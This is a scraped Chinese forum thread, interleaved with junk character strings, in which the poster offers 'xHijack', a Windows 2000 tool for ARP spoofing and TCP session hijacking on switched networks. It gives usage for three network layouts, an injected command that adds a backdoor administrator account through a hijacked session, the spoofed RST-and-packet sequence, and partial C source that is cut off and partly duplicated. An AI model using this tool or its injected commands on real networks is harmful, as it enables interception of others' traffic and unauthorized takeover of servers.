QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 4262|回复: 8
打印 上一主题 下一主题

再谈交换环境下的会话劫持(For windows2000)

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-11-21 01:44 |只看该作者 |倒序浏览
|招呼Ta 关注Ta
第一步是开启IP Routing的功能,修改注册表 ( D( r" d1 i4 g- r) c7 Y; N
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\IPEnableRouter为0x1,重启系统即可。   d2 D7 Q0 {( m: ]2 M" u
第二步是ARP欺骗,具体原理我就不说了。 : ?6 S  }( x- l) c
第三步就是开始劫持啦。 8 G/ Q: S' E' j" [5 q7 d

7 l5 P  ^0 K* l  d- V5 P我写了个程序xHijack可以实现第二、三步功能,使用如下: ' h9 q/ O  h  D+ S
6 p5 k/ J" f$ ~1 e+ C5 o
Usage: xHijack ServerSide ClientSide 6 m: |  ~' U& r7 J1 S5 E5 S7 W$ h
: J( ~- J/ @$ C! }% b
下面根据三种不同的情况分别说明如何输入参数:
  k+ z$ x+ }( `7 i" {<1>服务器、客户端、劫持者处于同一局域网,接在同一交换机上(或交换机级连?)。 % G) ^( A3 B2 V  w. c7 W
假如服务器的IP是192.168.0.2,客户端的IP是192.168.0.3,提供如下参数给xHijack即可
: a) k( K! a. O( k0 v! W" {* m" Sc:\>xHijack 192.168.0.2 192.168.0.3
; }  G( D' [* f! |' l劫持前数据流程:server <--> client 4 k4 F) N" Z5 J+ b' R8 s8 m. T- @
劫持后数据流程:server <--> hijacker <--> client 3 z+ S" l" u; ^# {/ I

0 }# Y6 p* o& N, t5 H<2>服务器、劫持者处于同一局域网,客户端处于别的网络。
- g/ K/ b( @1 o假如服务器IP是202.202.202.2,服务器的网关是202.202.202.1,提供如下参数 ' d2 u9 y# P# X" d! n5 R4 D! D$ A. t6 B. ^
xHijack 202.202.202.2 202.202.202.1
8 G9 c& r5 [5 D! Z* |9 L劫持前数据流程:server <--> gw <--> routes <--> client 2 c0 ^* S. i# p. A! h# w: p# p
劫持后数据流程:server <--> hijacker <--> gw <--> routes <--> client 7 o& l  ?2 j8 A2 Y- n, i3 R
2 @/ w, N4 v( u6 A( h. y/ b# j
<3>客户端、劫持者处于同一局域网,服务器处于别的网络。
+ Q4 \* o3 r" n$ v- @! R( a假如客户端的IP是192.168.0.2,网关是192.168.0.1,提供如下参数 ' d/ P- N8 j; i: i1 {: s
xHijack 192.168.0.1 192.168.0.2
/ I3 l/ s) G9 f6 R8 \2 B+ K6 h劫持前数据流程:client <--> gw <--> routes <--> server 6 `  y' D& }% ^5 W$ G
劫持后数据流程:client <--> hijacker <--> gw <--> routes <--> server 3 p. a% g* Y$ A- ]: d1 Y* ~" ^

% n) D- {" |( b+ j( b0 Z输入两个参数后,会提示你选择网卡,然后会提示 9 O$ z' `% N. l
l        <-- List all connections 9 M6 e4 \0 T3 d% ]0 R2 H
r x       <-- Reset the number x connection / a- F0 @0 p( O) j/ a: [; o
w x       <-- Watch the number x connection
! F7 \% h" i# u  I3 Ih x command   <-- Hijack the number x connection to execute command
6 x- ]9 p- A0 |  ]2 ~* t
: P9 I5 E, z6 d) [5 ]' Nlist、reset、watch命令我就不解释了。
* v" V- a0 h1 g4 w假如现在有如下连接 5 k1 b; b7 c! [$ K0 n/ i
(1) 202.202.202.202:23 <--> 192.168.0.3:2345
0 c3 J- h; E- r7 V) W我们想要劫持这个连接运行我们的命令,输入 / i1 M% T# U3 Q6 ^1 @+ H+ I! V0 i
xHijack>h 1 "&net user ey4s hijack /add & net localgroup administrators ey4s /add" 3 M! H( R+ d3 N  X& ]+ \. t% j
为什么命令前面要加&呢?假如客户刚发送一个字符p过去,我们不加&的话,服务器端接受到的就是
9 I- |/ {5 @( x- f/ Z" wpnet user.....了,加了&后就成为p&net user.....,这样就不管前面客户输入了什么,我们的命令 * v* L. M' p) S
都能够运行了。以上都假设服务器是windows 2000,unix下加什么字符,我不知道,我是unix白痴,呵呵。 : W0 `- Y; H3 T
: ?( V! u! Q8 G2 _4 y& u$ d1 B
劫持的流程如下: 4 s: @2 O9 S7 @& C; B0 @" D) i
<1>伪装成Server给Client发一个rst包 9 g; Z, i: |3 h8 l) R
<2>伪装成Client给Server发了一个数据包
" m) i  \9 U+ s% X1 A! e; `<3>Server回一个ACK包给client
  `5 h  M6 ^, t7 `8 c) l6 z<4>因为Cleint的连接已经给我们reset掉了,所以client回一个rst包给server ! S( Z; S. _- r6 j/ p; p$ L
! {; @1 V$ _" R6 y
这样的话,我们只能发一个伪造的包,但我想已经足够了。 1 r6 l* T5 H- j
想要一直劫持那个连接也可以,如下 - R7 k, ]9 P8 q$ l
<1>伪装成Server给Client发一个rst包 2 D: P5 F( L  v$ j
<2>欺骗Client,告诉它Server的MAC地址AAAAAAAAAAAA ) P2 a6 F8 S9 I3 d2 k+ ^
<3>伪装成Client给Server发了一个数据包 5 v7 S, T& u5 M' ^6 k
<4>Server回一个ACK包给client
& o/ F% A# l( j3 d, M  c5 t<5>Client回一个rst包给Server,但Server收不到,因为Client发到AAAAAAAAAAAA了,呵呵。 + v! T5 o! C: E8 ?) r7 t" A
<6>然后Server发给Client的包都由我们来处理,包括给Server回ACK包等等。 # b' B) R' w$ \: Y' g- m

( s5 r3 ]& P1 Q, Y, ?" ^不过这样比较危险,在我们劫持的过程中,Client与Server的通讯始终是断开的。 ) X7 ~, W9 h  E
9 E6 t3 p+ X9 ~" f
. {" X) Z0 N: X; p4 \
刚开始看TCP/IP协议,调程序调得头昏脑涨,说明也写的乱七八糟,呵呵,程序代码也可能存在很多问题,
; t+ y# P( X. ~# O' x0 G) I还请各位多多指点。
( l) D+ c9 l; ?5 E& x( [# R8 N; @& }& D' M! n$ o
BTW:我没有空间,编译好的程序没地方放:( 2 e( i. `+ z- g, U7 h; s

( J( k1 A5 {$ n. G' J4 d8 q. ~$ o; D" s- T7 a  m

+ }4 U- a3 H. @  }) e参考资料
: \# ]$ S3 b' b6 g' w+ x1 m<>交换环境下的会话劫持http://www.xfocus.net/article_view.php?id=375 + z, [7 v0 t' q
<>交换网络中的嗅探和ARP欺骗http://www.xfocus.net/article_view.php?id=377
( U" q" H8 `( D2 m* j9 F! S% [, F# `

# u8 H  m# u& D以下是程序代码 2 }: n4 D1 ^; P  R2 z4 Y  s* A
---------------------------------------------------------------------- * y" ]5 `, a8 I! A3 E# k, q: K6 n5 g2 r
/*-----------------------------------------------------------------------------
0 f$ g4 w3 z/ z6 HFile      : xHijack.c " q# M: [. Y( u$ e* b+ g
Version      : 1.0
6 j% }; ?$ M) FCreate at    : 2002/8/12 0 B1 y' t' i0 `8 G. \
Last modifed at  : 2002/8/19
1 X! ]. k, n8 l- V% [( X4 ZAuthor      : eyas ) x$ F, ^/ d- J& |+ S. Q9 v& G+ W
Email      : ey4s@21cn.com
; `! a3 z( d2 F6 C, s5 M  d7 QHomePage    : www.ey4s.org . n8 W4 t/ W! a4 L! \  G
感谢refdom和shotgun发布的源代码,使我获益非浅。
. A/ b, O6 B" Q5 I- r2 L- T8 z! eIf you modify the code, or add more functions, please email me a copy. 1 h3 k3 A/ M6 m9 v% b' a7 h( k+ [

8 v! t& A, p: ?' z1 \" {; F2 M备注: 3 k- T' l0 A  n
<>没有考虑IP头、TCP头超过20字节的情况
+ I& P/ O1 d; I; m. D<>没有考虑数据包分片的情况
: C) J2 V) V# ?: ?- S& x; S# K4 [$ A<>没有对截取到的TCP数据进行解码,如TELNET,虽然是明文传输,但是TCP数据里面包含了
, l" }5 h. j5 a  {显示格式、位置等信息,直接打印出来,显得很凌乱。但如果是IRC、SMTP、POP3等就没问
9 d( r. T3 K7 {  }# x题了。 $ w; b8 A  [2 b8 T7 v% g
) [6 h! C+ t" O6 S* X& [! k
也许下一版本会修正这些问题,也许不会有下一版本了。 : X# s& g$ \: D- W7 I7 L
$ y1 D+ |; s" {5 m/ z0 [* B0 O
-----------------------------------------------------------------------------*/ 9 h5 {3 y# Y/ [
#include
3 j, I, k) d2 y; G3 {' Q/ E#include 2 T/ Z- t4 ~  U6 j( R6 }
#include
8 I8 b% r* U8 C/ p# H#include , s( B" Z) w% M! T: P/ P  E  d
#include
9 w/ U. O* u1 o+ C& b. r/ |: r2 Y#include
5 b  K' I5 J; F  y" Y#include
& U2 E" Q; ?  ^! f) J
; f' R6 P9 R6 }% N, ?#pragma comment (lib, "packet")
* Z& S) ?# I- {- r3 L- Z#pragma comment (lib, "iphlpapi") * [7 X3 W! _# H5 `
#pragma comment (lib, "ws2_32") 6 l" \: h: i% U( X* X
# X0 O8 m, e% D1 d- F
#define Max_Num_Adapter 10 ; A$ P2 s& E3 s4 v+ u. W0 S2 R
#define Max_Num_IPAddr  5 ! E" n. K' l- D' t  y
#define EPT_IP      0x0800      /* type: IP  */
& v# t+ @: ~0 |* e* ]: j/ `#define ARP_HARDWARE  0x0001      /* Dummy type for 802.3 frames */
7 j8 g; N/ ]/ `$ u4 B" F; `#define EPT_ARP      0x0806      /* type: ARP */
- r$ b4 o; p8 R! ?  E
$ s* `2 J& `5 ^$ X" s2 Y7 D! ~#define  ACTION_NONE    0 # k1 d2 Y" g& `0 j
#define  ACTION_WATCH  1 ; l- g" W2 ^$ {5 J9 u# ~: W2 r' ?
#define  ACTION_RESET  2 % n7 d( D: {3 M8 y( ~' A
#define ACTION_HIJACK  3
! i0 h$ s7 b* k; y5 K6 {
) b( s* j2 a0 \7 u) R' C' }9 e/*以1字节对齐*/   ~5 E8 L0 p$ S; ^8 P9 u8 V( f
#pragma pack(1) 9 N8 @( ~- K/ t( ?) g
typedef struct _ehhdr ! x% A# Q+ x7 B2 d
{ ; q; |5 L0 p, P8 e' ?
  unsigned char  DestMAC[6];
# V" j1 g5 Q* X& n3 C3 S8 h+ \6 N* I  unsigned char  SourceMAC[6];
+ t. d+ d' r# P& Y, w; m/ E  unsigned short  EthernetType;
; T3 A( D- C7 v}EHHDR, *PEHHDR;
& h8 I  p, r! W% l4 ?0 y
1 F5 t* y) e4 A- dtypedef struct _iphdr        //定义IP首部 ; X5 ]/ B5 {8 q1 m0 X
{ 4 Y5 p6 Z2 S; [0 f0 e" G; q# c, _
  unsigned char h_verlen;      //4位首部长度,4位IP版本号
7 Q" ]# p! j6 P% d. w  unsigned char tos;        //8位服务类型TOS
; }# |( f. |$ G: T" T: z3 K  unsigned short total_len;    //16位总长度(字节) ! W  Y, I9 I5 c/ U3 z7 O
  unsigned short ident;      //16位标识
7 R: a3 `+ j; B& V/ e  unsigned short frag_and_flags;  //3位标志位 $ b' x& I/ M, n6 L
  unsigned char ttl;        //8位生存时间 TTL * `, ?3 W) ~. g2 v; u# M
  unsigned char proto;      //8位协议 (TCP, UDP 或其他)
) a8 b8 m! |1 {  unsigned short checksum;    //16位IP首部校验和 3 ~% U0 z- h7 J& _- k* r
  unsigned int sourceIP;      //32位源IP地址
  `% x0 A- a  J4 m3 [5 d  unsigned int destIP;      //32位目的IP地址
% \& H3 @* b4 \+ F) N( c}IPHDR, *PIPHDR; 8 w, ]1 y7 B- R0 k$ q/ s# w
! f0 i9 I* G5 S% G
typedef struct _tcphdr        //定义TCP首部
' ~4 s" z/ @( @3 U% U) P& n- {{
/ @+ q  l" h* ^+ S  USHORT th_sport;        //16位源端口
( q% Y2 @$ n7 c- {+ D  USHORT th_dport;        //16位目的端口 ' p6 w: @" ~6 W+ Z  k
  unsigned int th_seq;      //32位序列号 ! j& |* |1 Q" K0 B( X8 s. \
  unsigned int th_ack;      //32位确认号
+ J8 ^' |5 R& S* x  d) G- B2 f% c  unsigned char th_lenres;    //4位首部长度/6位保留字 # f5 E' o) X, n
  unsigned char th_flag;      //6位标志位
. ~/ b3 W( W; d  USHORT th_win;          //16位窗口大小
" P5 S4 g! C2 h& Q" N  USHORT th_sum;          //16位校验和 0 _" {4 |: ~4 z. {' J
  USHORT th_urp;          //16位紧急数据偏移量
9 a, d& U% {- W2 _+ U}TCPHDR, *PTCPHDR;
0 k7 l- Z+ E9 z4 x) S" z* V, z9 F& h; m! W! B7 P: l: q; t
typedef struct _psdhdr        //定义TCP pseudo header ! K8 F* u9 h' v( [" M
{               
1 j: f% X+ _& N3 R4 G  unsigned long saddr;
0 C$ F& t7 L# N  unsigned long daddr;
- r4 K% E; h- C" G- h  char mbz; 4 s8 s- g) b: P5 {# I
  char ptcl; - o0 b$ r# z; S/ d( M
  unsigned short tcpl; 5 E# H/ @0 K" i. T1 H
}PSDHDR, *PPSDHDR;
2 }( D) \" y0 w- a1 l  X9 `5 W# y8 A' ?/ t0 V* w
typedef struct _arphdr
# {" q( z' V5 ^{
% S  Z) n- a3 {1 o; [  unsigned short  HrdType;//硬件类型
' Q" }6 y& Q; Z* F+ z8 D5 E  unsigned short  ProType;//协议类型
: v1 c1 B) R6 N; `/ d% X! ^  unsigned char  HrdAddrlen;//硬件地址长度 , H6 z8 v% h# ^$ Z5 }3 _$ T* `
  unsigned char  ProAddrLen;//协议地址长度
5 C* X  e9 R# f! s5 D9 f  unsigned short  op;//operation
8 T  s3 W' O* d7 A  unsigned char  SourceMAC[6];/* sender hardware address */
7 r* w, g( J) l0 @. V5 A+ S  unsigned long  SourceIP;/* sender protocol address */ 5 P; u5 x! R& ~  G1 l
  unsigned char  DestMAC[6];/* target hardware address */ # l6 K6 W$ r( ?5 O7 @
  unsigned long  DestIP;/* target protocol address */ / w# u9 ~' }. i4 B' p
}ARPHDR, *PARPHDR; 1 }! r9 X, x6 n0 |. k
# o( }2 j( M9 g4 E# d' v# m
typedef struct _ArpPacket + m3 s' m6 b" u4 Y! g
{ 2 Z9 \& H" r* i) r
  EHHDR  ehhdr;
2 i5 E& M( o9 U0 z3 Q0 E- |5 l6 o  ARPHDR  arphdr;
- c% O0 G' K: |- Q. `% ^}ARPPACKET, *PARPPACKET; & v0 a& G) x  e8 O* d  q

9 K/ w- ]) F* g( d, ^typedef struct _tcppacket 8 c  A9 [1 a3 w" ~+ t
{
$ A* u( v6 O* _/ ^3 O# k( W! ]  EHHDR  ehhdr;
( ?& R4 Y( Q' a9 l3 [  IPHDR  iphdr;
: J* P; |" t2 p2 V7 j6 X  TCPHDR  tcphdr; , w5 W+ \9 @+ ^
}TCPPACKET, *PTCPPACKET;
2 B3 A8 |8 v2 H; L$ O! z! z) w  ~
. [- f2 N" P' ~* F, Ctypedef struct _conninfo 3 z7 Q' C3 z# I
{
1 ~  m- L. t! s1 m  DWORD  dwServerIP;
7 W) f# B4 \  p' Y& @: u6 Y' w  USHORT  uServerPort;
' B, N  D0 k' |. a  DWORD  dwClientIP;
) J' h3 N- P7 p' T: B" W  USHORT  uClientPort;
; O! r$ ?/ x0 Y5 D1 |  F+ U  DWORD  ident;//标识
% E8 N6 K; O3 z3 T; Y! L  BOOL  bActive; . O0 {/ ^: n) {, R0 m4 i( `
  struct  _conninfo  *Next;
9 a3 o! g$ g! C+ n3 X}CONNINFO, *PCONNINFO; & Y" s1 M- Y% H6 Q- l, G( D: z

( e2 n$ U, T2 H  w/ i//定义全局变量
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

unsigned int  g_ServerSideIP,
" r, G% g  X' q2 g- ?        g_ClientSideIP, 8 e  z6 x  N9 k$ u: ?
        g_OwnIP[Max_Num_IPAddr],//本机IP地址列表
, h/ ]! S' m4 Q0 `  M        g_TotalIP = 0;// 8 T  H! {& |# O% j# h! e
unsigned char  g_szOwnMAC[6];//本机MAC地址
0 f2 T( ^4 C; z' ^unsigned char  g_szClientSideMAC[6];
# A. R  \) N) e. Y$ Funsigned char  g_szServerSideMAC[6]; & J1 h0 W, H3 `: s
char      g_szTcpFlag[6] = {'F','S','R','P','A','U'};//TCP标志位 ) O' S& x) z) ^! k' \4 t' a3 G
LPADAPTER    g_lpAdapter;
: v9 w4 q, a$ w" o# j! j+ B//1 and 2 is arp spoof thread, 3 is recv packets thread, 4 is interface thread
; q  H2 r' F8 h/ _' m+ v- e$ h% BHANDLE      g_hThread[4];
7 j0 F  U6 e+ [, P9 M3 m/ kchar      g_szCommand[128];//command to execute after hijack
# _# m3 ~$ O9 j" V5 SDWORD      g_dwAction;//action type - s" F/ N2 W! V6 [  `0 |, `
DWORD      g_dwCtrlConn;//action 所控制连接的标识 7 ~8 {$ k; I% _2 K% v( w
DWORD      g_ident;//节点标识,递增 4 M% S) m* G' d$ V  o3 \
PCONNINFO    g_pCurrCtrlConn = NULL,//action当前所控制的连接的信息结构指针 ! D4 a. Y, W. Z: M
        g_pConnHead = NULL,
7 Q: U4 v& W& z$ n3 L3 F0 P$ ?        g_pConnLast = NULL; . I/ _! T% U% N8 X. M) u' J+ m
char      g_szSendPacketBuf[1514];
: G. a- q- Y% J: y' k" GLPPACKET    g_lpSendPacket;
7 Q* y- T1 `/ x7 h9 p//函数 & ^: `( u  @3 u& o& A5 O
void      usage(void);
* g% L/ x; F- S) S' K+ r. e  f* Yvoid      ShowPacketMoreInfo(PTCPPACKET, USHORT, BOOL);
  T$ F8 I, r7 Pvoid      ListAllConnection();//列出当前所有的连接
8 `( S; Y! u0 x% E# R" [void      ResetActionAllFlag();
& ^4 K/ M# l  {- R/ dUSHORT      checksum(USHORT *, int);
- M2 n% }1 H" ]BOOL      GetMACAddr(DWORD DestIP, char *pMAC);//取得目标IP的MAC地址 3 {( z# r, e9 n$ V3 d$ u# B  k
BOOL      IsACKPacket(unsigned char);//判断是不是一个纯ack包 5 T- J$ _) Z; y: O
LPADAPTER    InitAdapter();//初始化一些参数和全局变量 ; H6 l2 h, s3 }( T  z& g
BOOL      SendRstPacket(unsigned int, unsigned int);//伪装成server给cilent发送rst包 7 I. b) R2 T' D  q- {$ }
BOOL      SendHiJackPacket(PTCPPACKET);//伪装成client给server发送我们的包 3 y, y+ c5 z/ T0 d! W, `; F  y
DWORD      GetConnNum(char *, DWORD, DWORD *); , k$ m9 V& o9 p! c
DWORD      CtrlConnInfoLink(DWORD, USHORT, DWORD, USHORT, BOOL, BOOL);
* }: l, m; e7 bDWORD  WINAPI  ArpSpoofThread(LPVOID);//进行arp欺骗的函数
& z" w+ `- j2 t/ O- A9 g9 d! JDWORD  WINAPI  AnalysePacketsThread(LPVOID);//分析处理接收到的包 & a7 I" G5 {. Z, V- \+ P$ J
DWORD  WINAPI  InterfaceThread(LPVOID);// % a" g+ ^( \8 C" d. V1 G( m
BOOL  WINAPI  CtrlEvent(DWORD); - f" e& S, L; J8 I6 p, Y
% C5 g: \7 U0 E- L% ]
  o1 z- k% H4 A" c# L; |
6 l9 C0 A2 F1 w9 A- {$ x
int main(int argc, char **argv)
3 O  S7 f. ~$ R8 H; i- A{
! `& W' `" ]6 L  struct    bpf_stat stat; ; \$ L: f/ X+ o9 [4 V" S
  int      i; # n4 Q" D# X% N# \
" z& h; M0 ^8 {  a
  usage();   y* N2 k% S: a4 Y
  if (argc != 3) return 0;
+ h! K: t2 M6 w+ ?/ m5 `  //取得参数 ) G0 t3 t( v1 [; ]2 d" n* V
  g_ServerSideIP = inet_addr(argv[1]); " R0 \& `1 o1 R% O1 G! ?& w
  g_ClientSideIP = inet_addr(argv[2]); 6 J/ h1 ?- K. `1 O( p& V' A  H
  //初始化adapter & 一些全局变量 4 I: z4 G+ _( Q4 [0 D) k0 f
  g_lpAdapter = InitAdapter(); 9 i6 ]* z7 a  b4 T6 c  Z( d
  if(!g_lpAdapter) return 0; " B( B% H8 R% e0 i5 n& y
  //get ServerSide MAC & ClientSide MAC - Q: H  t+ r6 C& r- |0 v) B0 u
  if(!GetMACAddr(g_ServerSideIP, g_szServerSideMAC)) return 0;
7 n! R  M, Q. d7 Z( ~( {  if(!GetMACAddr(g_ClientSideIP, g_szClientSideMAC)) return 0; # n% ~# e$ T5 ~4 z
  //create arp spoof thread     . q* I" A4 |, x6 m- V8 o
  i = 1;
! N+ l) c* D: Z0 E  g_hThread[0] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0); - q3 H9 |% ~) P' |$ l3 V
  Sleep(500); ' Q* `0 A; H+ B
  i = 2; 5 S- T/ y1 }  |) }7 w
  g_hThread[1] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0); 9 q8 ?3 ^" x1 Z$ O
  //create analyse packet thread   {4 x* k/ ?% m) A/ e
  g_hThread[2] = CreateThread(0, 0, AnalysePacketsThread, NULL, 0, 0);
, Z3 s" e6 T, D' {* Z  //create interface thread ! \1 N3 U9 Y5 u, k! L4 Q
  g_hThread[3] = CreateThread(0, 0, InterfaceThread, NULL, 0, 0);
$ K5 s+ |4 E$ o* B, P  //set console ctrl handle 9 h, X5 s/ W* x* i
  if(!SetConsoleCtrlHandler(CtrlEvent, TRUE)) ) |9 O; p0 s) w, E# l
  { & C+ a. \% f5 E" |
    printf("SetConsoleCtrlHandler error:%d\n", GetLastError());
6 O& W! u- a# N    return 0;
9 s4 H5 c* B" l+ p1 p  } ( }# Y  Q& i0 \+ W
  //wait for any thread exit , P( t: [/ q( F8 I
  WaitForMultipleObjects(4, g_hThread, FALSE, INFINITE); # c! W, r. g- ^9 K
  //print the capture statistics 8 w' l; k$ M# g/ T6 w) ^" v$ D! W) ~
  if(PacketGetStats(g_lpAdapter, &stat) == FALSE) ! d. s$ G) Q: y, Z- z8 P' o7 \
    printf("Warning: unable to get stats from the kernel!\n");
# G) q* A6 H( |2 N. n8 e+ A  else ) G. U* W7 @3 x+ K
    printf("\n\n%d packets received.\n%d Packets lost\n",stat.bs_recv,stat.bs_drop); ; \$ c3 s2 A  @. I0 m* Y8 \
  //free resource   + V: t( C$ s/ {& \( @
  PacketFreePacket(g_lpSendPacket); # r# W: R, W5 ^; t  O' @5 w
  PacketCloseAdapter(g_lpAdapter); - ~+ k* {% y1 @* C! s' u% i
  return 0;
  ^& V( _/ N1 z! G4 t, X} 9 }# e% ?" S5 T

$ U8 V& R! U/ e// 4 }# G1 n1 l0 E9 J* w
//功能:重置所有于ACTION有关的标志 ' t* g* ^' E+ L2 B/ K! s9 q
//
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

unsigned int  g_ServerSideIP,
0 [8 o( S, y5 u! ~8 Z        g_ClientSideIP,
. E5 _+ l, b( g; d+ Y$ v/ F        g_OwnIP[Max_Num_IPAddr],//本机IP地址列表 9 H6 y0 Q  V$ m+ p
        g_TotalIP = 0;// ' I8 B! i$ L9 R0 F
unsigned char  g_szOwnMAC[6];//本机MAC地址
! G, N) d; Z0 J+ }unsigned char  g_szClientSideMAC[6]; ; A, l2 z9 m! Y0 b5 ^
unsigned char  g_szServerSideMAC[6]; + S' a4 T/ `9 m9 ?( [: C4 m' r
char      g_szTcpFlag[6] = {'F','S','R','P','A','U'};//TCP标志位
; q, k* V9 `  M  ~0 a+ o$ TLPADAPTER    g_lpAdapter;
! U. V: e) _% w//1 and 2 is arp spoof thread, 3 is recv packets thread, 4 is interface thread % m+ _6 @1 X) n7 j' O
HANDLE      g_hThread[4]; " M5 H" L; Q/ L: ~, I6 m( t( K
char      g_szCommand[128];//command to execute after hijack
& [$ }" Z/ x; ]% D+ aDWORD      g_dwAction;//action type 3 E- z5 l3 Z5 Q5 ^1 i( N* q) z
DWORD      g_dwCtrlConn;//action 所控制连接的标识 , k: P4 J% ^! B1 }( l
DWORD      g_ident;//节点标识,递增
, Y+ `3 Y/ N4 a" R9 U8 d" }PCONNINFO    g_pCurrCtrlConn = NULL,//action当前所控制的连接的信息结构指针
; _* r, H4 C8 Y* c1 M        g_pConnHead = NULL, 6 F- g/ S! N- A  c
        g_pConnLast = NULL; # `! g. Z+ H' N
char      g_szSendPacketBuf[1514];
3 m4 U8 {7 K# C+ l4 NLPPACKET    g_lpSendPacket;
% [8 {1 }- t7 P* S6 z" f//函数
9 n) Q8 o9 C* p( S( wvoid      usage(void); ! s- I  ~0 F2 G( ?
void      ShowPacketMoreInfo(PTCPPACKET, USHORT, BOOL); . T# S( q7 J0 f( k' _8 K
void      ListAllConnection();//列出当前所有的连接
- J' i! e0 W1 Z. q1 P4 l' wvoid      ResetActionAllFlag();
1 G# z; D. R2 F( E3 M4 _9 PUSHORT      checksum(USHORT *, int); ) J) T3 `5 |0 D5 ?  c& c
BOOL      GetMACAddr(DWORD DestIP, char *pMAC);//取得目标IP的MAC地址 2 o% K; `# \' C- [" `& _3 f
BOOL      IsACKPacket(unsigned char);//判断是不是一个纯ack包 7 Z1 s6 ^1 R$ p4 u! e9 z: z- G+ f- u
LPADAPTER    InitAdapter();//初始化一些参数和全局变量
3 O  F" \# a) |. B3 U1 OBOOL      SendRstPacket(unsigned int, unsigned int);//伪装成server给cilent发送rst包 * I5 p: |5 B5 [: x$ q, T( Y% f+ `! r
BOOL      SendHiJackPacket(PTCPPACKET);//伪装成client给server发送我们的包
' I* ?3 e6 N  g& uDWORD      GetConnNum(char *, DWORD, DWORD *);
4 t7 }3 z7 C! t4 n# i( DDWORD      CtrlConnInfoLink(DWORD, USHORT, DWORD, USHORT, BOOL, BOOL);
; v3 J' ]' t9 }; J6 C4 x' Q- TDWORD  WINAPI  ArpSpoofThread(LPVOID);//进行arp欺骗的函数
2 A( G! y# q& p; f0 ~% O6 K" DDWORD  WINAPI  AnalysePacketsThread(LPVOID);//分析处理接收到的包
% z- a- [* d% I+ VDWORD  WINAPI  InterfaceThread(LPVOID);//
3 @2 H# o9 N! {1 ], s3 ]/ q& S0 Z* [/ cBOOL  WINAPI  CtrlEvent(DWORD);
% [3 ?5 ^; ?/ ?9 M
: ?- v! _4 ?, m6 t! F
9 g5 H3 F0 `9 G6 k% N
- }+ _1 t2 H1 ]7 H5 A" l; D  ?int main(int argc, char **argv) $ H1 ]6 R3 F- d% I/ Z0 V
{ / `1 i( Q  d1 L; m9 h, k9 o/ Q
  struct    bpf_stat stat;
, W- _% K5 q( A7 S  ]6 M  int      i; 6 {6 z% ~1 |+ u' V+ B! F
& {, O' F, A; p3 a* ?3 d
  usage();
& Z  h$ s9 A7 w; _# ~" I  if (argc != 3) return 0; + f  k2 J# i, H& \  m
  //取得参数
7 ~8 F; j+ B  K: [6 }; A" e2 g  g_ServerSideIP = inet_addr(argv[1]); 0 Q3 z) Y8 B& h0 Z/ y: A& S. N
  g_ClientSideIP = inet_addr(argv[2]); + ~- l5 Q1 L0 r! m2 ]
  //初始化adapter & 一些全局变量
) q9 c- o4 i4 p' l+ ?7 X  g_lpAdapter = InitAdapter(); * }5 j) C' R: W, z; G
  if(!g_lpAdapter) return 0;
: o- S/ d! P/ p7 @1 H% O  //get ServerSide MAC & ClientSide MAC " a  S% D7 e. h. D5 q. }
  if(!GetMACAddr(g_ServerSideIP, g_szServerSideMAC)) return 0;
5 @- ?' h' a- B7 B# s/ O2 c4 z% ^% S; s  if(!GetMACAddr(g_ClientSideIP, g_szClientSideMAC)) return 0;
- ~/ S/ J& A6 I  //create arp spoof thread     % J$ {3 F* @" p# ~$ m
  i = 1; 3 ^  J! h4 ~7 c! @! b$ P0 `$ d
  g_hThread[0] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
7 Q  \2 M: S/ f! T; a2 D- a  Sleep(500); : [& O- J8 j1 p
  i = 2;
  w& l" g# L3 v$ {, ^' M  g_hThread[1] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);   _6 \! J( l$ S4 {1 z
  //create analyse packet thread
! {. B8 T5 e' v3 l' Q' T  g_hThread[2] = CreateThread(0, 0, AnalysePacketsThread, NULL, 0, 0); . T# y) |& L' h4 U+ {
  //create interface thread
1 F# w# N* b# ?6 t: E. d  g_hThread[3] = CreateThread(0, 0, InterfaceThread, NULL, 0, 0); % ?; E0 l. x/ E  `6 L
  //set console ctrl handle 6 n! N& l, E& }4 b5 S
  if(!SetConsoleCtrlHandler(CtrlEvent, TRUE))   j3 O; ^9 n* ^& ?* u9 V
  {
3 p( J0 D, s; r6 A, u) S1 E; f    printf("SetConsoleCtrlHandler error:%d\n", GetLastError()); " h7 L5 ]- q6 L
    return 0; ! s  T# ]- Z6 X- f$ H
  }
) l9 I5 E  Q$ i0 ]8 z  //wait for any thread exit
, ?$ K) R, L0 W! Y* l  WaitForMultipleObjects(4, g_hThread, FALSE, INFINITE); 9 U5 q; a0 f( Y+ e  R
  //print the capture statistics
& o; v, _  ?0 d2 K$ i- M  if(PacketGetStats(g_lpAdapter, &stat) == FALSE) $ K, T' L$ E  a- E: S- z" G- s
    printf("Warning: unable to get stats from the kernel!\n"); 6 T7 `8 ]) P# y3 S
  else " u6 l& J  v% P( @" a1 ~% {
    printf("\n\n%d packets received.\n%d Packets lost\n",stat.bs_recv,stat.bs_drop);   P) ^( {, D; \
  //free resource   3 ]7 j1 H+ _: j# c4 ~
  PacketFreePacket(g_lpSendPacket); - z+ s1 ]& b$ `5 T. Y' N, Z! ?4 k2 i: _
  PacketCloseAdapter(g_lpAdapter);
2 ^( B( \, W4 }- x% ~  return 0; . o  q8 g" L) h0 z5 B
} 1 B/ |0 T9 Q. w3 p

& v  t4 t+ N  L5 Z//
% H) t' o! l  d2 |//功能:重置所有于ACTION有关的标志
& D+ d+ u0 W) g. c5 M1 A//
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

void ResetActionAllFlag()   y) U9 K: Z$ q
{
" T6 `3 k4 X3 ~0 |, H) i/ b  g_dwCtrlConn = 0; ' q" s# q  O: Z* z, U) T
